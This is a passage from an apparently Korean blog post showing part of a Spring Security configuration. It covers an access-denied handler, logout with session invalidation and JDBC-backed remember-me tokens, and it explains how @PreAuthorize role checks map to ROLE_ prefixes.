			.permitAll()
			.successHandler(authenticationSuccessHandler());
		
		//접근 거부 처리자의 URI 지정
		http.authorizeHttpRequests((authorize) -> authorize
				// Allow access to the "/accessError" page
				.requestMatchers("/accessError").permitAll() 
	            .anyRequest().authenticated()
	        )
	        .exceptionHandling((except) -> except
	            .accessDeniedHandler(accessDeniedHandler())
	        );
		//로그아웃 처리를 위한 URI를 지정하고, 로그아웃 후에 세션을 무효화한다.
		http.logout().logoutUrl("/logout").invalidateHttpSession(true);

		//데이터소스를 지정하고 테이블을 이용해서 기존 로그인 정보를 기록
		http.rememberMe()
			// 랜덤한 키 값
			.key("random")
			.tokenRepository(createJDBCRepository())
			//쿠키의 유효시간을 지정한다.
			.tokenValiditySeconds(60*60*24);	
		
		return http.build();
		
	}
	

	@Bean
	public AccessDeniedHandler accessDeniedHandler() {
		return new CustomAccessDeniedHandler();
	}
	
	@Bean
	public AuthenticationSuccessHandler authenticationSuccessHandler() {
		return new CustomLoginSuccessHandler();
	}
	
	// PersistentTokenRepository 구현 클래스 객체 생성
	private PersistentTokenRepository createJDBCRepository() {
		JdbcTokenRepositoryImpl repo = new JdbcTokenRepositoryImpl();
		repo.setDataSource(datasource);
		return repo;
	}
	
}

@PreAuthorize("hasRole('MEMBER')") 은 자동으로 ROLE_MEMBER로 변경해서 권한을 확인한다고 한다.

ROLE_MEMBER는 권한 DB에서 정의한 것으로 ROLE_TEST 이런식으로 DB에 설정하면, @PreAuthorize("hasRole('TEST')") 라고 사용할 수 있다.

 

/board/read 경로에 permitAll으로 전체 접근이 가능하게 했지만, @PreAuthorize("isAuthenticated()") 이 어노테이션이 있으면, 로그인해야만 접근이 가능하다.

반응형

댓글()